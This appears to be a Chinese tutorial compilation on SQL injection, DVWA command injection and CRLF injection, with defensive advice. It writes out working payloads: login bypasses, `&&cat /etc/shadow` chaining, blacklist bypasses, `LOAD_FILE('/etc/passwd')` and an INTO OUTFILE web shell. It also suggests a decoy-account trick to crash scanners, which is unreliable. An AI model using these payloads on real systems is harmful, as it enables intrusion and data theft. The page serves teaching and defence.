精华内容
下载资源
问答
  • SQL注入攻击与防御

    千次阅读 2018-10-03 20:20:01
    什么是SQL注入攻击 SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写...

    什么是SQL注入攻击

    SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。

    SQL注入攻击属于数据库安全攻击手段之一,可以通过数据库安全防护技术实现有效防护,数据库安全防护技术包括:数据库漏扫、数据库加密、数据库防火墙、数据脱敏、数据库安全审计系统。

    SQL注入攻击会导致的数据库安全风险包括:刷库、拖库、撞库。

    常见的SQL注入式攻击过程类

    ⑴ 某个ASP.NET Web应用有一个登录页面,这个登录页面控制着用户是否有权访问应用,它要求用户输入一个名称和密码。

    ⑵ 登录页面中输入的内容将直接用来构造动态的SQL命令,或者直接用作存储过程的参数。下面是ASP.NET应用构造查询的一个例子:

    System.Text.StringBuilder query = new System.Text.StringBuilder(

    “SELECT * from Users WHERE login = ‘”)

    .Append(txtLogin.Text).Append(“‘ AND password='”)

    .Append(txtPassword.Text).Append(“‘”);

    SQL注入攻击与防御

    ⑶ 攻击者在用户名字和密码输入框中输入”‘或’1’=’1″之类的内容。

    ⑷ 用户输入的内容提交给服务器之后,服务器运行上面的ASP.NET代码构造出查询用户的SQL命令,但由于攻击者输入的内容非常特殊,所以最后得到的SQL命令变成:SELECT * from Users WHERE login = ” or ‘1’=’1′ AND password = ” or ‘1’=’1’。

    ⑸ 服务器执行查询或存储过程,将用户输入的身份信息和服务器中保存的身份信息进行对比。

    ⑹ 由于SQL命令实际上已被注入式攻击修改,已经不能真正验证用户身份,所以系统会错误地授权给攻击者。

    如果攻击者知道应用会将表单中输入的内容直接用于验证身份的查询,他就会尝试输入某些特殊的SQL字符串篡改查询改变其原来的功能,欺骗系统授予访问权限。

    系统环境不同,攻击者可能造成的损害也不同,这主要由应用访问数据库的安全权限决定。如果用户的帐户具有管理员或其他比较高级的权限,攻击者就可能对数据库的表执行各种他想要做的操作,包括添加、删除或更新数据,甚至可能直接删除表

    如何防范

    SQL注入攻击是需要担心的事情,不管用什么web编程技术,再说所有的web框架都需要担心这个的。需要遵循几条非常基本的规则:

    1)在构造动态SQL语句时,一定要使用类安全(type-safe)的参数加码机制。大多数的数据API,包括ADO和ADO. NET,有这样的支持,允许指定所提供的参数的确切类型(譬如,字符串,整数,日期等),可以保证这些参数被恰当地escaped/encoded了,来避免黑客利用它们。一定要从始到终地使用这些特性。

    例如,在ADO. NET里对动态SQL,可以象下面这样重写上述的语句,使之安全:

    Dim SSN as String = Request.QueryString(“SSN”)

    Dim cmd As new SqlCommand(“SELECT au_lname,au_fname FROM authors WHERE au_id = @au_id”)

    Dim param = new SqlParameter(“au_id”,SqlDbType.VarChar)

    param.Value = SSN

    cmd.Parameters.Add(param)

    这将防止有人试图偷偷注入另外的SQL表达式(因为ADO. NET知道对au_id的字符串值进行加码),以及避免其他数据问题(譬如不正确地转换数值类型等)。注意,VS 2005内置的TableAdapter/DataSet设计器自动使用这个机制,ASP. NET 2.0数据源控件也是如此。

    一个常见的错误知觉(misperception)是,假如使用了存储过程或ORM,就完全不受SQL注入攻击之害了。这是不正确的,还是需要谨慎确定在给存储过程传递数据时,或在用ORM来定制一个查询时,你的做法是安全的。

    2)在部署应用前,始终要做安全审评(security review)。建立一个正式的安全过程(formal security process),在每次更新时,对所有的编码做审评。后面一点特别重要。曾经多次听说开发队伍在正式上线(going live)前会做很详细的安全审评,然后在几周或几个月之后他们做一些很小的更新时,他们会跳过安全审评这关,说,“就是一个小小的更新,我们以后再做编码审评好了”。请始终坚持做安全审评。

    3) 千万别把敏感性数据在数据库里以明文存放。个人的意见是,密码应该总是在单向(one-way)hashed过后再存放,不喜欢将它们在加密后存放。在默认设置下,ASP. NET 2.0 Membership API 自动为你这么做,还同时实现了安全的SALT 随机化行为(SALT randomization behavior)。如果决定建立自己的成员数据库,建议查看一下我们在这里发表的我们自己的Membership provider的源码。同时也确定对你的数据库里的信用卡和其他的私有数据进行了加密。这样即使你的数据库被人入侵(compromised)了的话,起码你的客户的私有数据不会被人利用。

    4)确认编写了自动化的单元测试,来特别校验你的数据访问层和应用程序不受SQL注入攻击。这么做是非常重要的,有助于捕捉住(catch)“就是一个小小的更新,所有不会有安全问题”的情形带来的疏忽,来提供额外的安全层以避免偶然地引进坏的安全缺陷到你的应用里去。

    5)锁定你的数据库的安全,只给访问数据库的web应用功能所需的最低的权限。如果web应用不需要访问某些表,那么确认它没有访问这些表的权限。如果web应用只需要只读的权限从你的account payables表来生成报表,那么确认你禁止它对此表的 insert/update/delete 的权限。

    6)很多新手从网上下载SQL通用防注入系统的程序,在需要防范注入的页面头部用 来防止别人进行手动注入测试。

    可是如果通过SQL注入分析器就可轻松跳过防注入系统并自动分析其注入点。然后只需要几分钟,你的管理员账号及密码就会被分析出来。

    7)对于注入分析器的防范,笔者通过实验,发现了一种简单有效的防范方法。首先我们要知道SQL注入分析器是如何工作的。在操作过程中,发现软件并不是冲着“admin”管理员账号去的,而是冲着权限(如flag=1)去的。这样一来,无论你的管理员账号怎么变都无法逃过检测。

    第三步:既然无法逃过检测,那我们就做两个账号,一个是普通的管理员账号,一个是防止注入的账号,为什么这么说呢?笔者想,如果找一个权限最大的账号制造假象,吸引软件的检测,而这个账号里的内容是大于千字以上的中文字符,就会迫使软件对这个账号进行分析的时候进入全负荷状态甚至资源耗尽而死机。下面我们就来修改数据库吧。

    ⒈对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。

    ⒉对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符(最好大于100个字)。

    ⒊把真正的管理员密码放在ID2后的任何一个位置(如放在ID549上)。

    由于SQL注入攻击针对的是应用开发过程中的编程不严密,因而对于绝大多数防火墙来说,这种攻击是“合法”的。问题的解决只有依赖于完善编程。专门针对SQL注入攻击的工具较少,Wpoison对于用asp,php进行的开发有一定帮助…。

    文章转载:https://www.trustauth.cn/wiki/15576.html

    展开全文
  • 在对企业进行安全测试时候,很少会发现系统注入漏洞。这是因为大部分情况下代码业务主要是数据操作、文件操作、逻辑处理和api接口调用等,很少直接使用系统命令。 那么,都会有什么情况会调用系统命令呢?这个真不...

    命令执行(Command Injection):
    在这里插入图片描述

    PHP:system、exec、shell_exec、passthru、popen、proc_popen等称为高危漏洞。

    实例:

    在对企业进行安全测试时候,很少会发现系统注入漏洞。这是因为大部分情况下代码业务主要是数据操作、文件操作、逻辑处理和api接口调用等,很少直接使用系统命令。

    那么,都会有什么情况会调用系统命令呢?这个真不一定,有时候需要靠猜靠运气,不过代码不会无缘无故调用系统命令,细心研究还是会查到一些迹象的。比如对于图片处理、大文件压缩解压、ppt转pdf等,如果目标网站或者服务器接口提供这样的功能,一般情况下代码都会调用第三方软件,这里举几个例子:

    1. 图片加水印

    接口(为了避免出发论坛的图片转换,刻意打成了下面这个样子):

    http ://w ww。test。com/add_water?
    src=test。jp g

    经测试,此接口会对test.jpg加水印。

    猜测代码如下:

    $image = $_GET(“image”);

    exec("/use/bin/water " .
    “/var/www/image/” . $image);

    water是系统安装的加水印程序,image是接受的参数,此时image存在命令注入的可能。

    1. ppt转pdf

    猜测代码如下:

    <?php $ppt = $_GET("ppt"); exec("/use/bin/ppt2pdf " . "/var/www/ppt/" . $ppt); 和上面原理类似,ppt后面可以加命令注入攻击语句。 除了可能调用系统软件的这种情况,对于很多参数是url地址的,我们也要特别注意。如果某个程序为了省事,直接调用了系统curl命令,那么我们就可以直接注入了。再有就是ping检测功能,以及可能存在网络通讯协议、网络健康监测等功能附近,这些地方都有可能存在系统命令注入。 3.浏览器导航栏可以进行命令注入 4.评论区、搜索框也可以进行命令执行注入 原理:只要程序可以调用系统命令的情况下都可以发生命令执行漏洞。 条件:用户能够控制函数输入,存在可以执行代码的危险函数。 命令注入攻击的常见模式为:仅仅需要输入数据的场合,却伴随着数据同时输入了恶意代码,而装载数据的系统对此并未设计良好的过滤过程,导致恶意代码也一并执行,最终导致信息泄露或者正常数据的破坏。 PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一,国内著名的Web应用程序Discuz!、DedeCMS等都曾经存在过该类型漏洞。 命令执行漏洞产生原因: 开发人员没有对特殊函数入口做过滤,导致用户可以提交恶意代码并提交服务端执行。 Web服务器没有过滤危险函数导致命令执行漏洞攻击成功。 命令执行漏洞带来的危害: 继承Web服务程序的权限去执行系统命令或读写文件。 反弹shell 控制整个网站甚至控制服务器。 进一步内网渗透 PHP中的危险函数: system:成功则返回命令输出的最后一行,失败则返回FALSE。 exec:命令执行结果的最后一行内容。 shell_exec:命令执行的输出。如果执行过程中发生错误或者进程不产生输出,则返回NULL。 passthru:执行外部程序并且显示原始输出。 eval:将输入的字符串参数当做PHP程序代码来执行。 assert preg_replace call_user_func DVWA:Command Injection(命令行注入) 命令连接符: 在windows和linux都支持,如果程序没有进行过滤,那么我们可以通过连接符来执行多条命令。 command1 && command2 先执行Command 1,执行成功后执行Command 2,否则不执行Command 2 command1 | command2 只执行command2 command1 & command2 先执行Command 1,不管是否成功,都会执行Command 2 ++++++++++++++++++ Low级别: 服务器端核心代码 <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "
    {$cmd}
    "; } ?>

    相关函数介绍

    stristr(string,search,before_search)

    stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配点),如果未找到所搜索的字符串,则返回FALSE。参数string规定被搜索的字符串,参数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的ASCII值的字符),可选参数before_true为布尔型,默认为“false”,如果设置为“true”,函数将返回search参数第一次出现之前的字符串部分。

    php_uname(mode)

    这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包含序列”s n r v m”里的所有模式),”s”(返回操作系统名称),”n”(返回主机名),” r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。

    可以看到,服务器通过判断操作系统执行不同ping命令,但是对ip参数并未做任何的过滤,导致了严重的命令注入漏洞。

    漏洞利用

    window和linux系统都可以用&&来执行多条命令

    127.0.0.1&&net user

    Linux下输入127.0.0.1&&cat
    /etc/shadow甚至可以读取shadow文件,可见危害之大。

    +++++++++++++++

    Medium级别:

    服务器端核心代码

    <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = $_REQUEST[ 'ip' ]; // Set blacklist $substitutions = array( '&&' => '', ';' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "
    {$cmd}
    "; } ?>

    可以看到,相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” 、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。

    漏洞利用

    1、127.0.0.1&net
    user

    因为被过滤的只有”&&”与” ;”,所以”&”不会受影响。

    这里需要注意的是”&&”与” &”的区别:

    Command 1&&Command 2

    先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
    在这里插入图片描述

    Command 1&Command 2

    先执行Command 1,不管是否成功,都会执行Command 2

    在这里插入图片描述

    2、由于使用的是str_replace把”&&” 、”;”替换为空字符,因此可以采用以下方式绕过:

    127.0.0.1&;&ipconfig
    在这里插入图片描述

    这是因为”127.0.0.1&;&ipconfig”中的” ;”会被替换为空字符,这样一来就变成了”127.0.0.1&&
    ipconfig” ,会成功执行。

    +++++++++++++++++++++++++++++++++++++++

    High

    服务器端核心代码

    <?php if( isset( $_POST[ 'Submit' ] ) ) { // Get input $target = trim($_REQUEST[ 'ip' ]); // Set blacklist $substitutions = array( '&' => '', ';' => '', '| ' => '', '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', ); // Remove any of the charactars in the array (blacklist). $target = str_replace( array_keys( $substitutions ), $substitutions, $target ); // Determine OS and execute the ping command. if( stristr( php_uname( 's' ), 'Windows NT' ) ) { // Windows $cmd = shell_exec( 'ping ' . $target ); } else { // *nix $cmd = shell_exec( 'ping -c 4 ' . $target ); } // Feedback for the end user echo "
    {$cmd}
    "; } ?>

    相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。

    漏洞利用

    黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是 ”|”成了“漏网之鱼”。

    127.0.0.1|net user
    在这里插入图片描述

    Command 1 | Command 2

    “|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。

    相关函数介绍

    stripslashes(string)

    stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。

    explode(separator,string,limit)

    把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。

    is_numeric(string)

    检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。

    可以看到,Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。

    命令执行的防御:

    通用的命令执行漏洞防御方法通常是使用两个函数:EscapeShellCmd和EscapeShellArg,下面分别来分析这两个函数。

    EscapeShellCmd()函数可以把一个字符串中所有可能瞒过Shell而去执行另外一个命令的字符转义,比如管道符(|)、分号(;)、重定向(>)、从文件读入(<)等。

    下面我们来测试一下这个函数是否管用,以low级别的命令执行漏洞为例,对应的网页文件为D:\AppServ\www\dvwa\vulnerabilities\exec\source\low.php,对文件进行如下图所示的修改,在ping命令之前加上EscapeShellCmd函数进行过滤。
    在这里插入图片描述

    将修改保存之后,转换到low级别测试,发现我们之前的那些命令都不管用了。

    接下来再分析一下EscapeShellArg()函数,这个函数是专门用来处理命令的参数的,它在给定的字符串两边加上单引号,并把字符串中的单引号转义,这样这个字符串就可以安全地作为命令的参数。

    我们同样对网页进行修改,注意,EscapeShellArg()函数是专门对命令参数进行处理的。
    在这里插入图片描述

    保存修改之后,返回去进行测试,发现之前的命令同样也不管用了。

    事实证明,这两个函数还是很管用的。综合比较一下,EscapeShellCmd函数是基于黑名单的,而黑名单都不是完全可靠的,黑客总有方法绕过,所以从这个意义上来说EscapeShellArg相对要更安全一些。

    PHP中可以调用系统命令的函数主要包括:

    exec system popen passthru proc_open
    shell_exec

    尽量不要执行外部命令。

    使用自定义函数或者函数库来代替外部命令的功能。

    使用escapeshe||arg函数来处理命令参数。

    使用safe_mode_exec_dir指定可执行文件的路径。(safe_mode_exec_dir指定路径时可以把会使用的命令提前放入此路径内。)

    选择不调用系统命令的实现方法

    避免使用内部调用shell的函数

    不将外界传入的字符串传递给命令行参数

    使用安全的函数对传递给系统命令的参数进行转义

    校验参数

    将应用程序的权限降到最低

    给web服务器系统及使用的中间件及时打上安全补丁

    展开全文
  • CRLF注入攻击与防御

    千次阅读 2019-08-28 17:50:16
    如果用户的输入会设置到某响应头中的value,那么通过添加CRLF就可以进行CRLF注入攻击。  由于攻击者可以通过CRLF注入把恶意代码放在响应包体中输出,所以CRLF注入又称为HTTP响应拆分漏洞...

    一、概念:

            CRLF的概念源自打字机,表明行的结束,转译字符是\r\n,计算机出现后沿用了这个概念。

            CR:回车符的MCS字符,转译字符是\r,ASCII码十进制是13,ASCII码十六进制是0D;

            LF:换行符的MCS字符,转译字符是\n,ASCII码十进制是10,ASCII码十六进制是0A;

            回车符可以让光标移到当前行的开始位置,换行符可以让光标垂直移到下一行。键盘上的回车键(Enter)就可以执行该操作,但不同的操作系统,换行的操作符是不一样的:

            Windows:使用CRLF表示换行;

            Linux/Unix:使用LF表示换行;

            MacOS:早期使用CR表示换行,现在好像也用LF表示换行;

            CRLF注入:HTTP响应报文的结构是:状态行、响应头部和响应包体。在HTTP规范中,换行使用CRLF来表示。其中响应头部中响应头与响应头之间用一个CRLF分隔,响应头部中最后一个响应头和响应包体之间用两个CRLF分隔。

            根据这个分割规律(用一个CRLF分隔的就是不同的响应头,用两个CRLF分隔的就是最后一个响应头和响应包体),如果一个响应头的value中有一个CRLF,那么这个响应头的CRLF之前的内容作为本响应头的value,而CRLF之后的内容则会被作为另一个响应头(或响应包体)处理。如果用户的输入会设置到某响应头中的value,那么通过添加CRLF就可以进行CRLF注入攻击。

            由于攻击者可以通过CRLF注入把恶意代码放在响应包体中输出,所以CRLF注入又称为HTTP响应拆分漏洞(HTTP Response Splitting)。

    二、攻击条件:

            1、能够向响应头注入包含CRLF的恶意代码;

            2、通过一个CRLF分隔成的另一个响应头可以修改用户数据,比如是Set-Cookie;或者通过两个CRLF分隔成的响应包体会直接交给浏览器执行,这样的话都可以逃过XSS过滤,因为这个数据并不是POST传入的,而是服务端通过设置响应头生成的。

    三、攻击示例:

            1、服务端通过设置响应头Location的地址进行跳转,这个地址如果是用户输入的,比如:

    Location: $url

            如果用户输入的是一个url地址:http://www.baidu.com,那么响应头部中会包含响应头:

    Location: www.baidu.com

            但如果用户输入的是包含CRLF的注入攻击代码:http://www.baidu.com%0d%0aSet-Cookie:token%3D123456

    那么响应头部中会包含响应头:

    Location: www.baidu.com
    Set-Cookie: token = 123456

            可以看到通过一个CRLF注入让服务端给客户端设置了一个名为token的Cookie。

            2、在攻击示例1的基础上,如果浏览器会把服务端返的响应包体内容直接显示时,比如:

    <?php
        echo 'Hello ' . $response;
    

            如果用户输入的是一个url地址:http://www.baidu.com%0d%0a%0d%0a<script>alert("中毒了")</script>,那么响应包体的内容是:

    <script>alert("中毒了")</script>

            可以看到通过两个CRLF并结合XSS也可以进行攻击,并且这种XSS攻击无法通过XSS的入参过滤解决。因为虽然是XSS攻击,但是是通过CRLF方式注入的。

    四、防御措施:

            1、过滤掉CRLF字符,最好过滤掉所有控制字符(ASCII码十六进制 0x00~0x1F);

            2、不对用户的输入直接输出;

    展开全文
  • 本书包含所有SQL注入攻击相关的、当前已知的信息,凝聚了由本书作者组成的、无私奉献的SQL注入专家团队的所有深刻见解。  什么是SQL注入?理解它是什么以及它的基本原理  查找、确认和自动发现SQL注入  查找代码...
  • 《SQL注入攻击与防御》读书笔记

    千次阅读 2015-10-08 23:41:23
    《SQL注入攻击与防御》读书笔记
    《SQL注入攻击与防御》读书笔记








    第1章  什么是SQL注入

            SQL注入(定义):应用程序在向后台数据库传递SQL查询时,如果为攻击者提供了影响该查询的能力,则会引发SQL注入。攻击者通过影响传递给数据库的内容来修改
                                          SQL自身的语法和功能,并且会影响SQL所支持数据库和操作系统的功能和灵活性。SQL注入不只是一种会影响Web应用的漏洞;对于任何从不可信源
                                          获取输入的代码来说,如果使用了该输入来构造动态SQL语句,那么就很可能也会受到攻击。


            数据库驱动的web应用通常包含三层:表示层(web浏览器)、逻辑层(JSP)、持久层(数据库);
                                                            四层结构:表示层、逻辑层、应用层、持久层;


            参数化查询:指SQL语句中包含一个或多个嵌入参数的查询。可以在运行过程中将参数传递给这些查询。包含的嵌入到用户输入中的参数不会被解析成命令而执行,
                                    而且代码不存在被注入的机会。这种将参数嵌入到SQL语句中的方法比起使用字符串构造技术来动态构造并执行SQL语句来说拥有更高的效率且更安全。


            理解SQL注入的产生过程:
            
           -构造动态字符串-
            
            1.转义字符处理不当:SQL数据库将单引号字符(')解析成代码与数据间的分界线:假定单引号外面的内容均是需要运行的代码,而用单引号引起来的内容均是数据。
                                                    因此,只需简单地在URL或Web页面(或应用)的字段中输入一个单引号,就能快速识别出web站点是否会受到SQL注入攻击。
                                
                                如果将一个单引号字符作为该程序的输入,则可能会出现下列错误中的一种。具体出现何种错误取决于很多环境因素,比如编程语言、使用的
    数据库以及
                                采用的保护和防御技术。

                                单引号字符会被解析成字符串分隔符并作为代码与数据间的分界线。处理数字数据时,不需要使用单引号将数字数据引起来,否则数字数据会被当作字符串
                                来处理。

                                单引号字符并不是唯一的转义字符。比如在Oracle中,空格( )、双竖线( || )、逗号(,)、点号(.)、(*/)以及双引号字符(")均具有特殊含义。




            2.类型处理不当:
                             
    mysql提供一个名为LOAD_FILE的函数,能够读取文件并将文件内容作为字符串返回。要使用该函数,必须保证读取的文件位于数据库服务器上,然后将文件
                              的完整路径作为输入参数传递给函数。调用该函数的用户还必须拥有FILE权限。若将下列语句作为输入,那么攻击者便会读取/etc/passwd文件中的内容,
                              该文件中包含系统用户的属性和用户名:
                                                     UNION All Select LOAD_FILE('/etc/passwd') --

                             
    mysql还包含一个内置命令,可使用该命令来创建系统文件并进行写操作。还可使用下面的命令向web根目录写入一个Web shell以便安装一个可远程交互访问
                              的web shell:
                             UNION Select "<?system($_REQUEST['cmd']);?>" INTO OUTFILE "/var/www/html/victim.com/cmd.php"--

                              要想执行LOAD_FILE和SELECT INTO OUTFILE命令,易受攻击应用所使用的mysql用户就必须拥有FILE权限(FILE是管理员权限)。

                              攻击者的输入直接被解析成SQL语法,所以攻击者没有必要使用单引号字符来转义查询。下面的代码更加清晰地说明了构造的SQL语句:

                 Select * From Table Where UserId = 1 UNION All Select LOAD_FILE('/etc/passwd)--

            3.查询集处理不当:

            4.错误处理不当: ' and 1 in (SELECT @@version) --

            5.多个提交处理不当:




          - 不安全的数据库配置 -
                                                    数据库带有很多默认的用户预安装内容。SQL Server使用 "sa" 作为数据库系统管理员帐户;
                                                   mysql使用 "root" 和 "anonymous" 用户帐户;
                                                   oracle则在创建数据库时默认创建 SYS  SYSTEM  DBSNMP  OUTLN  帐户;




    第2章  SQL注入测试

                    -寻找SQL注入-  
                              我们很难访问到应用的源代码,因此需要借助推理进行测试。要理解并进行攻击,拥有一种分析型思维模式非常重要。

                    1.借助推理进行测试:识别SQL注入漏洞有一种简单的规则:通过发送意外数据来触发异常。该规则包含以下含义:
                                                           识别WEB应用上所有的数据输入;
                                                           了解哪种类型的请求会触发异常;
                                                           检测服务器响应中的异常;

                              识别出应用接收的所有数据后,需要修改这些数据并分析服务器对它们的响应。有时响应中会直接包含来自数据库的SQL错误,这时所有工作都将变得
                              非常简单。 有时需要不断集中精力以便检测响应中细微的差别。

                         1).识别数据输入:HTTP协议的GET方法和POST方法。
                                                         修改浏览器数据(代理服务器)

                          其他注入型数据:大多数应用都从GET或POST参数中检索数据,但HTTP请求的其他内容也可能会触发SQL注入漏洞。
                                                          cookie就是个很好的例子。cookie被发送给用户端的浏览器,并在每个请求中都会自动回发给服务器。
                                                          cookie一般被用来验证、会话控制和保存用户特定的信息。我们可以完全控制发送给服务器的内容,所以应该考虑将cookie作为一种有效的
                                                          用户数据输入方式和易受注入影响的对象。

                        2).操纵参数
                                            用户数据验证,有两个原因会引发SQL注入漏洞:
                                                    缺少用户输入验证(缺少用户输入验证,将导致攻击者可以从数据部分跳到注入控制命令)
                                                    数据和控制结构混合在同一传输通道中
                        
                        3).信息工作流
                                            要对数据输入影响SQL查询的过程和可以从数据库期望获取的响应类型有清晰的理解。
                                            动态web请求所涉及的各方之间的信息工作流:
                                                            1.用户向Web服务器发送请求;
                                                            2.Web服务器检索用户数据,创建包含用户输入的SQL语句,然后向数据库服务器发送查询;
                                                            3.数据库服务器执行SQL查询并将结果返回给Web服务器;
                                                            4.Web服务器根据数据库响应动态地创建HTML页面。




                2.数据库错误

                            常见SQL错误(不需要记住所有的错误代码,重要的是理解错误发生的时机和原因)
                            1) SQL Server错误
                                   浏览器:         http://www.victim.com/showproducts.php?category=attacker'
                                   SQL服务器: Select * From products Where category='attacker''        // 该应用并未审查单引号,所以数据库服务器拒绝执行该语句并返回一个错误。

                                   
                                   浏览器:         http://www.victim.com/showproducts.php?id=2
                                                            http://www.victim.com/showproducts.php?id=attacker //payload
                                   SQL服务器: Select * From products Where idproducts=2
                                                            Select * From products Where idproducts=attacker


                                   可以使用一些技术来检索嵌入在数据库返回错误中的信息。 第一种技术是通过将字符串转换为整数来产生错误:
                        http://www.victim.com/showproducts.php?category=bikes' and 1=0/@@version;--
                                         数据库报告了一个错误,它将@@version的结果转换成一个整数并显示了其内容。该技术滥用了SQL Server中的类型转换功能。
                                         发送0/@@version作为部分注入代码。除法运算需要两个数字作为操作数,所以数据库尝试将@@version函数的结果转换成一个数字。
                                         当该操作失败时,数据库会显示出变量的内容。
                                         可以使用该技术显示数据库中的任何变量。下面的例子使用该技术显示user变量的值:
                         http://www.victim.com/showproducts.php?category=bikes' and 1=0/user;--
    
                         http://www.victim.com/showproducts.php?category=bikes' having 1 '=' 1  // 用于显示数据库执行的语句信息
    
                         http://www.victim.com/showproducts.php?category=bikes' group by productid having  1 '='1
                         http://www.victim.com/showproducts.php?category=bikes' group by productid having '1 '='1 
                         http://www.victim.com/showproducts.php?category=bikes' and 1=0/name;--    

                             2)MySql错误:
                             
                             3)Oracle错误:
                                          



                3.应用响应:

                                   寻找SQL注入漏洞的过程包括识别用户数据输入,操纵发送给应用的数据以及识别服务器返回结果中的变化。
                       
                                  通用错误
                                  HTTP代码错误
                                  不同的响应大小
                       
                4.SQL盲注 (blind SQL injection)
                     用户登录:用户名/密码      
                                 user' or  '1' = '1     // SQL盲注-永真    提示: Invalid password
                                 user' and '1' = '2     // SQL盲注-永假    提示: Invalid username or password

                         做完永假测试后,可以确认username 字段易受到SQL注入攻击。但password字段不易受到攻击,而且无法绕过身份验证表单。
                         username条件为真时,表单显示"Invalid password"
                         username条件为假时,表单显示"Invalid username or password"

                         这种情况被称为SQL盲注。SQL盲注是一种SQL注入漏洞,攻击者可以操纵SQL语句,应用会针对真假条件返回不同的值。但是攻击者无法检索查询结果。
                         由于SQL盲注漏洞非常耗时且需要向web服务发送很多请求,因此要想利用该漏洞,就需要采用自动的技术。
                         SQL盲注是一种很常见的漏洞,但有时它非常细微,检验不丰富的攻击者可能会检测不到。

                           
          -确认SQL注入- 
                  *区分数字和字符串
                  *内联SQL注入
                  *终止式SQL注入
                        1.数据库注释语法
                        2.使用注释
                        3.执行多条语句
                  *时间延迟


          -自动寻找SQL注入-
                   自动寻找SQL注入的工具:WebInspect 
                                                                   IBM Rational AppScan
                                                                   HP Scrawlr
                                                                   SQLix
                                                                   Paros Proxy


            捷径:
                        1.寻找SQL注入
                                   寻找SQL注入漏洞存在三个关键点:
                                                   a.识别web应用接收的数据输入
                                                   b.修改输入值以包含危险的字符串
                                                   c.检测服务器返回的异常
                    
                         使用web代理角色扮演工具有助于绕过客户端限制,完全控制发送给服务器的请求。此外,它们还能提高服务器响应的可见度,提供更多检测到细小漏洞的机会。
                         包含数据库错误或HTTP错误代码的服务器响应通常能降低识别SQL注入漏洞的难度。不过SQL盲注是一种即使应用不返回明显错误也能利用漏洞的技术。
                         
                         2.确认SQL注入
                                    要想确认一个SQL注入漏洞并进一步加以利用,需要构造一条能注入SQL代码的请求以便应用创建一条语法正确的SQl语句,之后由数据库服务器执行该
                            语句且不返回任何错误。

                                     创建语法正确的语句时,可以终止它并注释剩下的查询。对于这种情况,通常可以毫无约束地连接任意SQL代码,进而提供执行攻击的能力。

                                     有时,应用对注入操作没有回复任何可见的信息。这时可以通过向来自数据库的回复引入延迟来确认注入。应用服务器将等待数据库回复,我们则可以确认
                             是否存在漏洞。对于这种情况,需要意识到网络和服务器工作负荷可能会对延迟造成轻微干扰。

                          3.自动发现SQL注入
                                     寻找SQL注入漏洞所涉及的操作可以被适度自动化。当需要测试大型web站点时,自动技术非常有用,但需要意识到自动发现工具可能无法识别某些存在的
                              漏洞,不能完全依赖自动化工具。
                    
                              有多款商业工具可以对web站点的完整安全性进行评估,还可以进行SQL注入漏洞测试。可选择免费、开源的工具来辅助大型站点中的SQL注入漏洞查找操作。



    第3章  复查代码中的SQl注入

                     通常要找到程序中潜在的SQL注入,最快的方法是复查程序的源代码。

                     分析源代码漏洞主要有两种方法:静态代码分析和动态代码分析。
                             静态代码分析:静态代码分析指在分析源代码的过程中并不真正执行代码。
                             动态代码分析:动态代码分析指在代码运行过程中对其进行分析。

                     在复查SQL注入漏洞的语境中,我们将渗入点称为安全敏感函数,该函数用于执行涉及数据库的SQL语句。为缩小复查关注的范围,应首先识别潜在的渗入点。
                     如果找到一个渗入点,则说明很可能存在SQL注入漏洞。大多数情况下必须进一步分析其他的代码以确定是否存在注入漏洞。若web程序开发人员无法确保在
                     将从渗入源(表单、cookie、输入参数)收到的值传递给SQL查询之前已对其进行验证,那么通常会引发SQL注入漏洞。
                             1. 危险的编码行为:要执行有效的源代码复查并识别所有潜在SQL注入漏洞,需要能区分危险的编码行为,比如加入动态字符串构造技术的代码。
                             2. 危险的函数
                             3. 跟踪数据
                             4. 复查PL/SQL 和 T-SQL代码


    自动复查源代码
        1. YASCA(开源程序,用于寻找程序源代码中的安全漏洞和代码质量问题)  集成了其他开源项目,比如:FindBugs、PMD、Jlint。
        2. Pixy 免费的Java程序,能自动扫描PHP4的源代码,目标是检测跨站脚本和SQL注入漏洞。 
        3. AppCodeScan 用于扫描多种源代码漏洞的工具。使用正则表达式匹配字符串来识别潜在的危险函数和代码中的字符串,同时还提供了很多配置文件。
